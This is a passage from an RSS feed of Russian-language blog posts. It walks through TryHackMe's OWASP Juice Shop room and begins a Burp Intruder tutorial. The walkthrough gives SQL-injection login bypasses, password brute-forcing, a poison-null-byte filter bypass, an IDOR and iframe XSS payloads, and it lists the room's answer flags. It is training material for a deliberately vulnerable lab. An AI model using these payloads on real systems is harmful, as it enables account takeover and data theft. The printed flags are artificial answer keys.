      <li id="J3jq">Оператор &#x27; <strong>ИЛИ</strong> &#x27; в SQL-запросе вернет true, если хотя бы одна его часть истинна. Поскольку  1=1 всегда истинно , весь запрос истинен. Таким образом, он сообщит серверу, что адрес электронной почты действителен, и выполнит вход в систему под  идентификатором пользователя 0 , который является учетной записью администратора.</li>
      <li id="8epp">Символ  «--»  используется в SQL для комментирования данных; любые ограничения на вход в систему больше не будут работать, поскольку они интерпретируются как комментарий. Это похоже на комментарии #  и  //  в Python и JavaScript соответственно.</li>
    </ol>
    <figure id="ezkH" class="m_original">
      <img src="https://assets.tryhackme.com/additional/imgur/Y7xYGjp.png" width="962" />
    </figure>
    <p id="yOey">Вопрос №2: Войдите в учетную запись Bender!</p>
    <p id="eIlS">Аналогично тому, что мы делали в  <u>вопросе №1</u> , теперь войдем в учетную запись Бендера! Снова перехватим запрос на вход, но на этот раз укажем в качестве адреса электронной почты:  bender@juice-sh.op&#x27;--  .</p>
    <figure id="sxZ0" class="m_original">
      <img src="https://assets.tryhackme.com/additional/imgur/1F1ufc3.png" width="340" />
    </figure>
    <p id="mZev">Теперь перешлите это на сервер!</p>
    <figure id="QeZx" class="m_original">
      <img src="https://img4.teletype.in/files/36/83/36834144-8d8e-47da-91f3-96f99f2742c4.png" width="1486" />
    </figure>
    <p id="aU45">Но почему бы нам не поставить  1=1 ?</p>
    <p id="S3xF">Итак, поскольку адрес электронной почты действителен (что вернет  true ), нам не нужно принудительно устанавливать значение  true . Таким образом, мы можем использовать  <strong>&#x27;--&#x27;</strong> для обхода системы авторизации. Обратите внимание, что <strong>1=1</strong> можно использовать, когда адрес электронной почты или имя пользователя неизвестны или недействительны.</p>
    <figure id="Avf3" class="m_original">
      <img src="https://assets.tryhackme.com/additional/imgur/Rznz31B.png" width="960" />
    </figure>
  </section>
  <p id="uetA">You successfully solved a challenge: Login Bender (Log in with Bender&#x27;s user account.)<br /> Ответ: 5ff5052e879e6fef64124e64c82c84ebc809c6c4</p>
  <h2 id="e2To">4. Кто взломал мой замок?!</h2>
  <figure id="reBx" class="m_original">
    <img src="https://assets.tryhackme.com/additional/imgur/OM71q2D.png" width="1070" />
  </figure>
  <p id="TYc3">В этой задаче мы рассмотрим использование уязвимостей аутентификации. Говоря об уязвимостях в аутентификации, мы подразумеваем механизмы, подверженные манипуляциям. Именно эти механизмы, перечисленные ниже, мы и будем использовать.</p>
  <p id="26X4">Слабые пароли в учетных записях с высокими привилегиями.</p>
  <p id="xVzB">Страницы восстановления пароля</p>
  <p id="aQ5q">Дополнительная информация:  <a href="https://owasp.org/www-project-top-ten/OWASP_Top_Ten_2017/Top_10-2017_A2-Broken_Authentication" target="_blank">Неработающая аутентификация</a></p>
  <section>
    <p id="UbFX">Вопрос №1: Подберите пароль от учетной записи администратора методом перебора!</p>
    <p id="Z599">Мы использовали SQL-инъекцию для входа в учетную запись администратора, но пароль нам по-прежнему неизвестен. Давайте попробуем атаку методом перебора! Мы снова перехватим запрос на вход, но вместо отправки его через прокси, мы отправим его в Intruder.</p>
    <p id="tIbP">Перейдите в раздел «Позиции», затем выберите кнопку «Очистить §»  . В поле пароля поместите два символа § внутри кавычек. Уточним:  § § — это не два отдельных поля ввода, а реализация кавычек в Burp, например, &quot;&quot; .  Запрос должен выглядеть как на изображении ниже.</p>
    <figure id="S7bx" class="m_original">
      <img src="https://assets.tryhackme.com/additional/imgur/I96sO28.png" width="1103" />
    </figure>
    <p id="6Vg1"><code>Тут просят подобрать паль админа, почту мы уже знаем.<br />(но лучше перебирать не в бурпе - java очень медленный язык и с большим массивом данных он будет долго и тяжко справляться)</code></p>
    <figure id="gEQb" class="m_original">
      <img src="https://img2.teletype.in/files/15/f2/15f24fa1-c014-488a-8de0-35b424db2856.png" width="1004" />
    </figure>
    <p id="ZSwq">В качестве полезной нагрузки мы будем использовать файл  best1050.txt из пакета seclists (который можно установить с помощью команды: <strong>apt-get install seclists</strong> ).</p>
    <p id="8aS6"><em>Список можно загрузить по адресу:  /usr/share/wordlists/SecLists/Passwords/Common-Credentials/best1050.txt</em></p>
    <p id="P9dh">После загрузки файла в Burp начните атаку. Вам потребуется отфильтровать запросы по статусу.</p>
    <p id="9LUu">В случае  неудачной  попытки запроса будет отправлена ​​ошибка  401 Unauthorized.</p>
    <figure id="GDq8" class="m_original">
      <img src="https://assets.tryhackme.com/additional/imgur/HcUs6eW.png" width="80" />
    </figure>
    <p id="Vqff">В случае  успешного  запроса будет возвращен код  200 OK .</p>
    <figure id="hb7w" class="m_original">
      <img src="https://assets.tryhackme.com/additional/imgur/q5jcfIA.png" width="80" />
    </figure>
    <p id="148u">После завершения войдите в учетную запись, используя пароль.</p>
    <figure id="03Cl" class="m_original">
      <img src="https://img4.teletype.in/files/7b/21/7b21c81c-9fce-4cbf-b5da-02f115dc6170.png" width="1445" />
    </figure>
    <figure id="OqtT" class="m_original">
      <img src="https://img2.teletype.in/files/dc/a7/dca7edf3-4778-4703-9809-88c8fbe8ad43.png" width="1301" />
    </figure>
    <p id="3G7U">пароль: admin123</p>
    <p id="Upkf">You successfully solved a challenge: Password Strength (Log in with the administrator&#x27;s user credentials without previously changing them or applying SQL Injection.)<br />Ответ: ff4aebffe31b0ffdea9bdd0207a16a3c01ac6c56</p>
    <p id="3BhH">Вопрос №2:  Сбросить пароль Джима!</p>
    <figure id="AJVB" class="m_original">
      <img src="https://assets.tryhackme.com/additional/imgur/axsRMp2.png" width="992" />
    </figure>
    <figure id="1tMt" class="m_original">
      <img src="https://assets.tryhackme.com/additional/imgur/PfHXA1h.png" width="358" />
    </figure>
    <figure id="9Rpx" class="m_original">
      <img src="https://assets.tryhackme.com/additional/imgur/uRS3kJr.png" width="469" />
    </figure>
    <figure id="PNUH" class="m_original">
      <img src="https://img2.teletype.in/files/57/ce/57ce7a37-e516-402a-b4fd-6a7da3441cfa.png" width="1306" />
    </figure>
    <p id="q8RD">3c3e2d6ef99b733b947e92f8e2a9ed08bf57ea63</p>
  </section>
  <p id="3jzy"></p>
  <h2 id="Ew1t">5. А! Не смотри!</h2>
  <figure id="bKyA" class="m_original">
    <img src="https://assets.tryhackme.com/additional/imgur/XlbJl1E.png" width="1033" />
  </figure>
  <p id="4wVc">Веб-приложение должно безопасно и надежно хранить и передавать конфиденциальные данные. Однако в некоторых случаях разработчик может не обеспечить надлежащую защиту своих конфиденциальных данных, что делает их уязвимыми.</p>
  <p id="X51y">В большинстве случаев защита данных не применяется единообразно во всем веб-приложении, что делает некоторые страницы доступными для общественности. В других случаях информация утекает в открытый доступ без ведома разработчика, что делает веб-приложение уязвимым для атак.</p>
  <p id="UoN6">Дополнительная информация:  <a href="https://owasp.org/www-project-top-ten/OWASP_Top_Ten_2017/Top_10-2017_A3-Sensitive_Data_Exposure" target="_blank">Раскрытие конфиденциальных данных</a></p>
  <section>
    <figure id="YIBW" class="m_original">
      <img src="https://assets.tryhackme.com/additional/imgur/M1s8jfu.png" width="552" />
    </figure>
    <figure id="4Qse" class="m_original">
      <img width="800" />
    </figure>
    <figure id="HfiN" class="m_original">
      <img src="https://assets.tryhackme.com/additional/imgur/EY664PR.png" width="200" />
    </figure>
    <figure id="G6BJ" class="m_original">
      <img src="https://assets.tryhackme.com/additional/imgur/Xp2aZJW.png" width="1085" />
    </figure>
    <p id="6nG9">Мы скачаем файл  acquisitions.md  и сохраним его. Похоже, здесь есть и другие файлы, представляющие интерес.</p>
    <p id="GZSo">После загрузки перейдите на <strong>главную страницу</strong> , чтобы получить флаг!</p>
    <p id="oALY">You successfully solved a challenge: Confidential Document (Access a confidential document.)<br />Ответ: 8d2072c6b0a455608ca1a293dc0c9579883fc6a5</p>
    <p id="xZXJ">Вопрос №2:  Войдите в учетную запись MC SafeSearch!</p>
    <figure id="D84M" class="m_custom">
      <iframe src="https://www.youtube.com/embed/v59CX2DiX0Y?autoplay=0&loop=0&mute=0"></iframe>
    </figure>
    <p id="Eagh">После просмотра видеоклипа некоторые фрагменты песни особенно запомнились.</p>
    <p id="pMb5">Он отмечает, что его пароль — « Mr. Noodles », но он заменил некоторые « гласные на нули », то есть заменил только буквы «о» на нули.</p>
    <p id="x1Ol">Теперь нам известно, что пароль к учетной записи <em>mc.safesearch@juice-sh.op</em>  — « <strong>Mr. N00dles</strong> ».</p>
    <p id="fvuW">You successfully solved a challenge: Login MC SafeSearch (Log in with MC SafeSearch&#x27;s original user credentials without applying SQL Injection or any other bypass.)<br />Ответ: bb105418e73708ceccf1a7b2491f434b8f5230e4</p>
    <p id="bgV6">Вопрос №3: Скачайте файл резервной копии!</p>
    <p id="AG3l">Теперь вернёмся в папку <a href="http://machine_ip/ftp/" target="_blank">http://10.112.152.24/ftp/</a> и попробуем загрузить package.json.bak. Но, похоже, мы получаем ошибку 403, которая указывает, что можно загрузить только файлы .md и .pdf.</p>
    <figure id="6oWM" class="m_original">
      <img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/654be36872552158be01f92f/room-content/654be36872552158be01f92f-1750888802937.png" width="820" />
    </figure>
    <p id="5wwA">Чтобы обойти это ограничение, мы воспользуемся обходным путем для символов, называемым «ядовитым нулевым байтом». Ядовитый нулевой байт выглядит так: <em>%00</em> .</p>
    <figure id="d2dC" class="m_original">
      <img src="https://img1.teletype.in/files/49/66/49667eb9-0029-4910-abf9-26cd2db84fa8.png" width="975" />
    </figure>
    <p id="2BX3">Примечание: поскольку мы можем загрузить его по <u>URL-адресу</u> , нам потребуется закодировать его в <u>формат, закодированный по URL-адресу.</u></p>
    <p id="RrtP">Теперь &quot;пустой байт&quot; будет выглядеть так: <em>%2500</em> . Добавление этого и расширения <strong>.md</strong> в конец позволит обойти ошибку 403!</p>
    <figure id="J4RG" class="m_original">
      <img src="https://assets.tryhackme.com/additional/imgur/2qugsl5.png" width="356" />
    </figure>
    <p id="TrEH"><strong>Почему это работает?</strong></p>
    <p id="E8RX">«Отравленный нулевой байт» — это, по сути, нулевой символ-терминатор. Поместив нулевой символ в строку в определенном байте, вы дадите серверу команду завершить строку в этой точке, обнулив остальную часть строки.</p>
    <p id="Uua9">You successfully solved a challenge: Poison Null Byte (Bypass a security control with a Poison Null Byte to access a file not meant for your eyes.)<br />Ответ: cfdeea14e8f01b4952722fd0e4a77f1928593c9a</p>
  </section>
  <p id="9PFz"></p>
  <h2 id="XCDy">6. Кто управляет этой штуковиной?</h2>
  <figure id="CsmB" class="m_original">
    <img src="https://assets.tryhackme.com/additional/imgur/r2qq6de.png" width="1449" />
  </figure>
  <p id="WQDi">Современные системы позволяют нескольким пользователям иметь доступ к разным страницам. Администраторы чаще всего используют страницу администрирования для редактирования, добавления и удаления различных элементов веб-сайта.  Вы можете использовать такие страницы при создании веб-сайта с помощью таких программ, как Weebly или Wix.</p>
  <figure id="v5j1" class="m_original">
    <img src="https://img4.teletype.in/files/36/b4/36b4e985-04a4-4072-abdb-00c233451d4b.png" width="569" />
  </figure>
  <p id="IaIV">Обнаружение уязвимостей или ошибок в системе контроля доступа будет классифицировано по одному из <strong>двух типов</strong> :</p>
  <p id="hC8C"><strong>Горизонтальная</strong> эскалация привилегий</p>
  <p id="3etu">Это происходит, когда пользователь может выполнить действие или получить доступ к данным другого пользователя с <strong>тем же</strong> уровнем прав доступа.</p>
  <p id="lZ0k"><strong>Вертикальная</strong> эскалация привилегий</p>
  <p id="p3Gp">Это происходит, когда пользователь может выполнить действие или получить доступ к данным другого пользователя с  более высоким уровнем прав доступа.</p>
  <figure id="a98V" class="m_original">
    <img src="https://assets.tryhackme.com/additional/imgur/bJ9WKY4.png" width="471" />
  </figure>
  <p id="RPIa"><em>Источник: Packetlabs.net</em></p>
  <p id="HOe3">Дополнительная информация:  <a href="https://owasp.org/www-project-top-ten/OWASP_Top_Ten_2017/Top_10-2017_A5-Broken_Access_Control" target="_blank">Нарушение контроля доступа</a></p>
  <section>
    <p id="Awrm">Вопрос №1:  Зайдите на страницу администрирования!</p>
    <p id="ciR6">Сначала откроем <strong>отладчик</strong> в  Firefox .</p>
    <p id="FPkK">(Или <strong>источники</strong>  в <strong>Chrome</strong> .)</p>
    <p id="Ltwh">Это можно сделать, перейдя по соответствующей ссылке в меню «Веб-разработчики».</p>
    <figure id="BBLy" class="m_original">
      <img src="https://assets.tryhackme.com/additional/imgur/rvhCm6V.png" width="326" />
    </figure>
    <figure id="aP4H" class="m_original">
      <img src="https://assets.tryhackme.com/additional/imgur/oWJI6Yi.png" width="324" />
    </figure>
    <p id="VccI">Затем мы обновим страницу и найдем файл JavaScript для  main-es2015.js.</p>
    <p id="WdbX">Затем мы перейдём на эту страницу по  адресу : <a href="http://machine_ip/" target="_blank">http://10.112.152.24/main-es2015.js</a></p>
    <figure id="onEi" class="m_original">
      <img src="https://assets.tryhackme.com/additional/imgur/wF55kiO.png" width="1015" />
    </figure>
    <p id="YHQV">Чтобы преобразовать текст в читаемый формат, нажмите кнопку { } внизу.</p>
    <figure id="bNaz" class="m_original">
      <img src="https://assets.tryhackme.com/additional/imgur/93xvM6I.png" width="84" />
    </figure>
    <p id="mXl6">Теперь выполните поиск по запросу &quot;admin&quot;.</p>
    <p id="j16G">Вы встретите несколько разных слов, содержащих &quot;admin&quot;, но нам нужно слово &quot;path: administration&quot;.</p>
    <figure id="1tmn" class="m_original">
      <img src="https://assets.tryhackme.com/additional/imgur/AS1YVjU.png" width="933" />
    </figure>
    <p id="1km2">Это указывает на страницу под названием &quot; <strong>/#/administration</strong> &quot;, как видно из пути <strong>к разделу &quot;О</strong> программе&quot; несколькими строками ниже, но перейти на неё, не войдя в систему, не получится.</p>
    <figure id="GGzj" class="m_original">
      <img src="https://img1.teletype.in/files/86/2e/862e1c11-d3a1-47b8-907c-d7465c9ebfcd.png" width="1329" />
    </figure>
    <p id="DFzx">Поскольку это страница администратора, логично, что для ее просмотра нам необходимо войти в <strong>учетную запись администратора .</strong></p>
    <p id="8Pox">Хороший способ предотвратить доступ пользователей к этой информации — загружать только те части приложения, которые им необходимы. Это предотвратит утечку или просмотр конфиденциальной информации, такой как страница администратора.</p>
    <p id="GgQ7">Вопрос №2:  Посмотрите корзину покупок другого пользователя!</p>
    <figure id="MMrM" class="m_original">
      <img src="https://img1.teletype.in/files/0b/9b/0b9b1fec-fdb8-48b3-a35a-570f121ca63c.png" width="1337" />
    </figure>
    <p id="oyE2">Войдите в свою учетную запись администратора и нажмите «Ваша корзина». Убедитесь, что Burp запущен, чтобы вы могли перехватить запрос!</p>
    <p id="gfLC">Пересылайте каждый запрос, пока не увидите:  <em>GET /rest/basket/1 HTTP/1.1</em></p>
    <figure id="UtOp" class="m_original">
      <img src="https://assets.tryhackme.com/additional/imgur/wlS88AU.png" width="1257" />
    </figure>
    <p id="6yFB">Теперь мы изменим цифру <strong>1</strong> после /basket/ на <strong>2.</strong></p>
    <figure id="kNKC" class="m_original">
      <img src="https://assets.tryhackme.com/additional/imgur/ugsRunL.png" width="192" />
    </figure>
    <p id="htuI">Теперь отобразится корзина пользователя с ID 2. Вы можете сделать это и для других пользователей с ID, при условии, что у них есть корзина!</p>
    <figure id="P9be" class="m_original">
      <img src="https://assets.tryhackme.com/additional/imgur/yR4xFo3.png" width="758" />
    </figure>
    <figure id="4Cfp" class="m_original">
      <img src="https://img2.teletype.in/files/5f/fe/5ffee1ed-a195-43ad-9724-185d66713c23.png" width="805" />
    </figure>
    <p id="KhcI">IDOR - получили доступ до чужой корзины.</p>
    <p id="KfhG">Ответ: e6982b34b6734ceadd28e5019b251f929a80b815</p>
  </section>
  <p id="qIjO">Снова перейдите на страницу <a href="http://10.112.152.24" target="_blank">http://10.112.152.24</a> <a href="http://machine_ip/#/administration" target="_blank">/#/administration</a> и  нажмите на значок корзины рядом с отзывом, отмеченным 5 звездами!</p>
  <section>
    <figure id="25X9" class="m_original">
      <img src="https://assets.tryhackme.com/additional/imgur/cI2sSyx.png" width="600" />
    </figure>
    <figure id="tFke" class="m_original">
      <img src="https://img1.teletype.in/files/40/69/40697a5f-fd28-499e-ae66-ea1204b54ea0.png" width="913" />
    </figure>
    <p id="HMlO">Ответ:78231b75c0b2180b7e964dcbb1ab3c3f58639f2e</p>
  </section>
  <p id="p13D"></p>
  <h2 id="o8cE">7. Откуда это взялось?</h2>
  <figure id="IFzs" class="m_original">
    <img src="https://assets.tryhackme.com/additional/imgur/qBdgNKC.png" width="1503" />
  </figure>
  <p id="LJI6">XSS , или межсайтовый скриптинг, — это уязвимость, позволяющая злоумышленникам запускать JavaScript в веб-приложениях. Это одна из наиболее распространенных уязвимостей в веб-приложениях. Сложность таких уязвимостей варьируется от простых до чрезвычайно сложных, поскольку каждое веб-приложение обрабатывает запросы по-своему.</p>
  <p id="3c8y"><strong>Существует три основных типа XSS -атак:</strong></p>
  <p id="aSMd"><u>DOM (Special)</u></p>
  <p id="op5J">DOM XSS <em> (Document Object Model-based Cross-site Scripting)</em>  использует HTML-среду для выполнения вредоносного JavaScript. Этот тип атаки обычно использует HTML-тег <em>&lt;script&gt;&lt;/script&gt;</em>  .</p>
  <p id="BamW"><u>Постоянное (на стороне сервера)</u></p>
  <p id="l1Tk">Постоянная XSS-атака  — это JavaScript-код, который выполняется при загрузке сервером страницы, содержащей этот код. Она может возникать, когда сервер не проверяет данные пользователя при их <strong>загрузке</strong> на страницу. Такие атаки часто встречаются в сообщениях блогов.</p>
  <p id="ykAL"><u>Отражённый (на стороне клиента)</u></p>
  <p id="9tpj">Отражённая XSS-атака  — это JavaScript-код, выполняемый на стороне клиента веб-приложения. Чаще всего она встречается, когда сервер не проверяет правильность <strong>поисковых</strong> данных.</p>
  <p id="V9on">Дополнительная информация:  <a href="https://owasp.org/www-project-top-ten/OWASP_Top_Ten_2017/Top_10-2017_A7-Cross-Site_Scripting_(XSS)" target="_blank">Межсайтовая скриптовая атака (XSS)</a></p>
  <section>
    <p id="kOtW">Вопрос №1:  Выполните DOM XSS-атаку!</p>
    <figure id="Zt91" class="m_original">
      <img src="https://assets.tryhackme.com/additional/imgur/AMz9jps.png" width="571" />
    </figure>
    <p id="ePo5">Мы будем использовать элемент iframe с тегом &#x60;&lt;alert&gt;&#x60; на JavaScript:</p>
    <p id="KKMh"><em>&lt;iframe src=&quot;javascript:alert(&#x60;xss&#x60;)&quot;&gt; </em></p>
    <figure id="MQOp" class="m_original">
      <img src="https://img3.teletype.in/files/2e/52/2e52bede-9321-4202-9a46-510ea1bcdb13.png" width="630" />
    </figure>
    <p id="wyQC">Ввод этого текста в <strong>строку поиска</strong> вызовет всплывающее окно.</p>
    <figure id="J9mn" class="m_original">
      <img src="https://assets.tryhackme.com/additional/imgur/rKEx3aR.png" width="297" />
    </figure>
    <p id="5Zs7">Обратите внимание, что мы используем <strong>iframe</strong> , который является распространенным HTML-элементом, встречающимся во многих веб-приложениях; существуют и другие элементы, которые также дают аналогичный результат.</p>
    <p id="qsuM">Этот тип XSS, также называемый XFS (Cross-Frame Scripting), является одним из наиболее распространенных способов обнаружения XSS в веб-приложениях.</p>
    <p id="jqIx">Веб-сайты, позволяющие пользователю изменять iframe или другие элементы DOM, с наибольшей вероятностью будут уязвимы для XSS-атак.</p>
    <p id="mmMU"><strong>Почему это работает?</strong></p>
    <p id="sJXV">Обычно поисковая строка отправляет запрос на сервер, который затем возвращает соответствующую информацию, но именно здесь кроется недостаток. Без надлежащей проверки входных данных мы можем осуществить XSS-атаку на поисковую строку.</p>
    <p id="kxzu">Вопрос №2:  Выполните постоянную XSS-атаку!</p>
    <p id="IFeO">Сначала войдите в свою учетную запись <strong>администратора</strong> .</p>
    <p id="spU9">Для этой атаки мы перейдём на страницу &quot; <strong>Последний IP-адрес входа &quot;.</strong></p>
    <figure id="zx6J" class="m_original">
      <img src="https://assets.tryhackme.com/additional/imgur/YTIzhh0.png" width="485" />
    </figure>
    <p id="RZtm">Должно быть указано, что последний IP-адрес — 0.0.0.0 или 10.xxx.</p>
    <p id="eTw1">Поскольку в лог записывается «последний» IP-адрес входа, мы сейчас выйдем из системы, чтобы в лог записался «новый» IP-адрес.</p>
    <figure id="IvkO" class="m_original">
      <img src="https://assets.tryhackme.com/additional/imgur/4XHHSof.png" width="122" />
    </figure>
    <p id="iUtJ">Убедитесь, что <strong>функция перехвата запросов Burp включена</strong> , чтобы она перехватывала запросы на выход из системы.</p>
    <p id="JzvP">Затем перейдём на вкладку «Заголовки», где добавим новый заголовок:</p>
    <figure id="swrf" class="m_original">
      <img src="https://assets.tryhackme.com/additional/imgur/VLd2Fga.png" width="1162" />
    </figure>
    <p id="tkWc">Затем перенаправьте запрос на сервер!<br />При <strong>повторном входе в учетную запись администратора</strong> и переходе на страницу с IP-адресом последнего входа вы увидите предупреждение об XSS-атаке!</p>
    <figure id="3XfG" class="m_original">
      <img src="https://assets.tryhackme.com/additional/imgur/rKEx3aR.png" width="297" />
    </figure>
    <p id="gajd"><strong>Зачем нам отправлять этот заголовок?</strong></p>
    <p id="qWJ5">Заголовок  <em>True-Client-IP  </em>аналогичен заголовку <em>X-Forwarded-For  </em>; оба сообщают серверу или прокси-серверу IP-адрес клиента. Поскольку в заголовке отсутствует проверка подлинности, мы можем выполнить XSS-атаку.</p>
    <p id="Cosr">Вопрос №3:  Выполните отражённую XSS-атаку!</p>
    <p id="ahJh">Во-первых, нам нужно правильно настроиться, чтобы выполнить отраженную XSS-атаку!</p>
    <p id="Fj5A"><strong>Войдите</strong> в свою <strong>учетную запись администратора</strong> и перейдите на страницу « История заказов ».</p>
    <figure id="Apiq" class="m_original">
      <img src="https://assets.tryhackme.com/additional/imgur/hBy4O1L.png" width="547" />
    </figure>
    <p id="wG2W">Там вы увидите значок « Грузовик », нажав на него, вы перейдете на страницу результатов отслеживания. Вы также увидите, что заказу присвоен идентификатор.</p>
    <figure id="1bsY" class="m_original">
      <img src="https://assets.tryhackme.com/additional/imgur/kQdIKyL.png" width="384" />
    </figure>
    <p id="wqZ9">Вместо кода  <em>5267-f73dcd000abcc353</em> мы будем использовать XSS-атаку с использованием iframe,  <em>&lt;iframe src=&quot;javascript:alert(&#x60;xss&#x60;)&quot;&gt;. </em></p>
    <p id="vfQy">После отправки URL-адреса обновите страницу, и вы получите предупреждение о XSS-атаке!</p>
    <figure id="wwxI" class="m_original">
      <img src="https://assets.tryhackme.com/additional/imgur/rKEx3aR.png" width="297" />
    </figure>
    <p id="t9M1"><strong>Почему это работает?</strong></p>
    <p id="t5JG">На сервере будет таблица соответствия или база данных (в зависимости от типа сервера) для каждого идентификатора отслеживания. Поскольку параметр &#x27;id&#x27; не проходит проверку перед отправкой на сервер, мы можем выполнить XSS-атаку.</p>
  </section>
  <p id="pzgy">Вопрос №1:  Выполните DOM XSS-атаку!</p>
  <p id="KSpJ">4a31a4fe0954199566e360a873802bf64d0d0a84<br /><br />Вопрос №2:  Выполните постоянную XSS-атаку!</p>
  <p id="UZAC">c37da14686b69a220fd9febd09bb9593e7d0539f<br /><br />Вопрос №3:  Выполните отражённую XSS-атаку!</p>
  <p id="azFy">305021787d3e9cd9cebc057a021c2504550bb3b6</p>
  <h2 id="1RVh">8. Исследование!</h2>
  <p id="XHTT"></p>
  <figure id="MOml" class="m_original">
    <img src="https://assets.tryhackme.com/additional/imgur/DGSYlWp.png" width="1462" />
  </figure>
  <p id="uml6">Если вы хотите попробовать свои силы в более <strong>сложных</strong> заданиях, не рассмотренных в этой комнате, загляните в раздел <strong>/#/score-board/</strong> на Juice-shop. Там вы сможете увидеть выполненные вами задания, а также задания различной сложности.</p>
  <p id="DZLb"><strong>Перейдите на  страницу /#/score-board/</strong></p>
  <p id="TQpg">2614339936e8282e2f820f023d4d998a1f95e02a</p>
  <hr />
  <p id="BCxS"><a href="http://t.me/pentest89" target="_blank"><strong>Основная группа</strong></a> обучения ИБ<br /><strong><a href="https://t.me/+fXKM89fYCMVmYjFi" target="_blank">Lab-группу</a></strong> с полезным софтом / книгами / аудио.<br /><a href="https://t.me/+RuwyHi0We0lmZDhi" target="_blank"><strong>Чат</strong> </a>для обсуждений, задавай свои вопросы.<br />P.S. С вами был <a href="https://t.me/Fnay_Offensive" target="_blank">@Fnay_Offensive</a><br />До новой встречи, user_name!</p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@fnay_offensive/post_42</guid><link>https://teletype.in/@fnay_offensive/post_42?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=fnay_offensive</link><comments>https://teletype.in/@fnay_offensive/post_42?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=fnay_offensive#comments</comments><dc:creator>fnay_offensive</dc:creator><title>День 38. Burp Suite: Intruder</title><pubDate>Tue, 24 Feb 2026 13:48:05 GMT</pubDate><media:content medium="image" url="https://img2.teletype.in/files/d2/3a/d23a2293-470f-4f30-b578-42e381520e55.png"></media:content><description><![CDATA[<img src="https://img1.teletype.in/files/cc/ad/ccad373f-26e8-4cd1-ae5e-20952260fea6.jpeg"></img>Узнайте, как использовать Intruder для автоматизации запросов в Burp Suite.]]></description><content:encoded><![CDATA[
  <p id="4kO9">Узнайте, как использовать Intruder для автоматизации запросов в Burp Suite.</p>
  <figure id="KcOC" class="m_original">
    <img src="https://img1.teletype.in/files/cc/ad/ccad373f-26e8-4cd1-ae5e-20952260fea6.jpeg" width="1200" />
  </figure>
  <h2 id="IL3X">1. Введение</h2>
  <h4 id="lzkD">Добро пожаловать в номер &quot;Burp Suite Intruder&quot;!</h4>
  <p id="VMvl">В этой комнате мы рассмотрим модуль Intruder в Burp Suite , который обеспечивает автоматическую обработку запросов и позволяет выполнять такие задачи, как фаззинг и брутфорс. Если вы не знакомы с функционалом <strong>Proxy</strong> и <strong>Repeater</strong> в Burp Suite , рекомендуется пройти хотя бы комнату <a href="https://tryhackme.com/room/burpsuitebasics" target="_blank">«Основы Burp»</a> перед тем, как продолжить.</p>
  <figure id="CxjY" class="m_original">
    <img src="https://img4.teletype.in/files/bc/b6/bcb622a0-5bf5-4af2-ad9f-d9b419dff0f0.jpeg" width="1920" />
  </figure>
  <p id="V1cM">Модуль Intruder в Burp Suite — это мощный инструмент, позволяющий проводить автоматизированные и настраиваемые атаки. Он предоставляет возможность изменять определенные части запроса и выполнять повторяющиеся тесты с различными вариантами входных данных. Intruder особенно полезен для таких задач, как фаззинг и брутфорс, где необходимо проверять различные значения по отношению к целевому объекту.</p>
  <figure id="4Xtu" class="m_original">
    <img src="https://img4.teletype.in/files/bc/3e/bc3e0124-c40e-40cf-8465-e6a3432fbef9.jpeg" width="1200" />
  </figure>
  <p id="Hff0">Разверните целевую виртуальную машину, подключенную к этой задаче, нажав зеленую кнопку <strong>«Запустить машину»</strong> .</p>
  <h2 id="xbVB">2. Что такое Intruder?</h2>
  <p id="T082">Intruder — это встроенный в Burp Suite инструмент фаззинга, позволяющий автоматически изменять запросы и проводить многократное тестирование с вариациями входных значений. Используя перехваченный запрос (часто из модуля Proxy ), Intruder может отправлять несколько запросов с немного измененными значениями на основе заданных пользователем конфигураций. Он служит различным целям, таким как подбор паролей в формах авторизации путем замены полей имени пользователя и пароля значениями из списка слов или выполнение фаззинговых атак с использованием списков слов для тестирования подкаталогов, конечных точек или виртуальных хостов. Функциональность Intruder сравнима с инструментами командной строки, такими как <strong>Wfuzz</strong> или <strong>ffuf</strong> .</p>
  <p id="bRFN">Однако важно отметить, что, хотя Intruder можно использовать с Burp Community Edition, он имеет ограничения по количеству запросов, что значительно снижает его скорость по сравнению с Burp Professional. Это ограничение часто заставляет специалистов по безопасности полагаться на другие инструменты для фаззинга и перебора паролей. Тем не менее, Intruder остается ценным инструментом, и стоит научиться эффективно его использовать.</p>
  <p id="40Mw">Давайте рассмотрим интерфейс Intruder:</p>
  <figure id="GxFG" class="m_original">
    <img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/645b19f5d5848d004ab9c9e2/room-content/2b2a10c651bee6531f8dbeb5e32733e8.png" width="1118" />
  </figure>
  <p id="SDPv">На начальном этапе Intruder отображается простой интерфейс, где мы можем выбрать цель. Это поле будет уже заполнено, если запрос был отправлен из прокси (используя <code>Ctrl + I</code>или щелкнув правой кнопкой мыши и выбрав «Отправить в Intruder»).</p>
  <p id="gDlX">В Intruder есть четыре вкладки:</p>
  <ul id="eZX9">
    <li id="rp8R"><strong>Позиции</strong> : На этой вкладке мы можем выбрать тип атаки (который мы рассмотрим в следующем задании) и настроить место вставки полезных нагрузок в шаблон запроса.</li>
    <li id="CE15"><strong>Полезные нагрузки</strong> : Здесь мы можем выбрать значения для вставки в позиции, определенные на вкладке <strong>«Позиции»</strong> . Доступны различные варианты полезных нагрузок, например, загрузка элементов из списка слов. Способ вставки этих полезных нагрузок в шаблон зависит от типа атаки, выбранного на вкладке <strong>«Позиции»</strong> . Вкладка <strong>«Полезные нагрузки»</strong> также позволяет изменять поведение Intruder в отношении полезных нагрузок, например, определять правила предварительной обработки для каждой полезной нагрузки (например, добавление префикса или суффикса, выполнение сопоставления и замены или пропуск полезных нагрузок на основе определенного регулярного выражения).</li>
    <li id="KiRl"><strong>Пул ресурсов</strong> : Эта вкладка не особенно полезна в Burp Community Edition. Она позволяет распределять ресурсы между различными автоматизированными задачами в Burp Professional. Без доступа к этим автоматизированным задачам эта вкладка имеет ограниченное значение.</li>
    <li id="7b2T"><strong>Настройки</strong> : Эта вкладка позволяет настроить поведение атаки. В основном она касается того, как Burp обрабатывает результаты и саму атаку. Например, мы можем помечать запросы, содержащие определенный текст, или определить ответ Burp как перенаправляющий (3xx) ответы.</li>
  </ul>
